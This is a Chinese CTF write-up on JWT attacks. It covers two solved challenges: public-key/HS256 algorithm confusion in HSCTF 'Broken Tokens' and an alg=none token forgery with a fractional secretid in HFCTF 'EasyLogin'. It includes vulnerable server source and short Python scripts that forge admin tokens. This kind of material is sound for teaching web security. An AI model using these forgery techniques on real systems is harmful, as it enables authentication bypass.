JWT¶
JWT 的通常加密方式有 RS 和 HS
将加密后的内容复制到 https://jwt.io/ 即可看到解密后的结果和加密方式
其中 RS 是需要需要公私钥的,HS 是对称加密
攻击方法¶
HS 可以使用 https://github.com/brendan-rius/c-jwt-cracker 工具进行爆破
RS 验证配置错误,公钥泄露
加密方式设置为 none
例题:¶
HSCTF [Broken Tokens]¶
源码:
import jwt
import base64
import os
import hashlib
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG")
PASSWORD = os.getenv("PASSWORD")
with open("privatekey.pem", "r") as f:
PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == "POST":
resp = make_response(redirect("/"))
if request.form["action"] == "Login":
if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
else:
auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
resp.set_cookie("auth", auth)
else:
resp.delete_cookie("auth")
return resp
else:
auth = request.cookies.get("auth")
if auth is None:
logged_in = False
admin = False
else:
logged_in = True
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
resp = make_response(
render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
)
return resp
@app.route("/publickey.pem")
def public_key():
with open("./publickey.pem", "r") as f:
resp = make_response(f.read())
resp.mimetype = 'text/plain'
return resp
if __name__ == "__main__":
app.run()
大致就是登录时验证的是私钥,然后登录后验证的是公钥,然后公钥可以通过 /publickey.pem 获取
先登录成 guest,这时 Token 是
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw
解密后信息部分是
{ "auth": "guest" }
然后再加密下
#!/usr/bin/env python
import jwt
import base64
with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()
print(jwt.encode({"auth":"admin"}, key=PUBLIC_KEY, algorithm='HS256'))
如果出错了就把报错地方注释掉 ( algorithms.py )
改成
def prepare_key(self, key):
key = force_bytes(key)
return key
原因是不能用公钥加密
flag{1n53cur3_tok3n5_5474212}
HFCTF [EasyLogin]¶
在源码中可以发现 app.js,可以判断是 node.js
在备注中发现
或许该用 koa-static 来处理静态文件
路径该怎么配置?不管了先填个根目录XD
静态文件,根目录,那是不是可以直接访问
于是直接访问根目录下的 app.js,成功读取源码
根据 /static/js/app.js 中
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
以及 /app.js 中
// add controllers:
app.use(controller());
还有 koa 框架的文件结构可知
app.js 入口文件
config 项目路由文件夹
models 对应的数据库表结构
DataBase 保存数据库封装的CRUD操作方法
controllers 项目控制器目录接受请求处理逻辑
访问 /controllers/api.js 可得到逻辑源码
代码中关键功能有:
获得 flag 的功能,SESSION[username] == admin 就能获得
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
注册的功能,很明显这里不让注册用户名为 admin 的用户,同时会根据用户生成一个 JWT 口令
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
登录的功能
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
这里识别用户身份的方法是,在注册时随机生成一个密钥,存入数组,并用它来加密 JWT 信息,JWT中储存着密钥的数组下标和用户名密码
( JWT主要的功能是确认来源,防止伪造数据 )
然后登录时解密第一部分,获得 JWT 中储存的信息,然后根据数组下标获得密钥,然后根据密钥解密数据,比对解密前后的用户名密码是否相同
这里存在的一个漏洞点是,在 JWT 的 jsonwebtoken 库中,接收的参数是 algorithms 而这里写的是 algorithm,这里跳过了验证
并且,当解密时没有密钥,同时加密方式为 none 的时候,会忽视后面的解密算法,按 none 方式解密
所以我们这里要把 JWT 信息解密后的数组下标替换成小数即可将密钥置空,之后就可以修改数值了
JWT 信息部分解密后为
{"secretid":4,"username":"111222","password":"111222"}
所以这里修改为
{"secretid":0.4,"username":"111222","password":"111222"}
之后通过脚本重新加密
import jwt
token = jwt.encode({"secretid":0.4,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
print(token)
将 POST 数据包中的 authorization 内容替换即可以 admin 登录获取 flag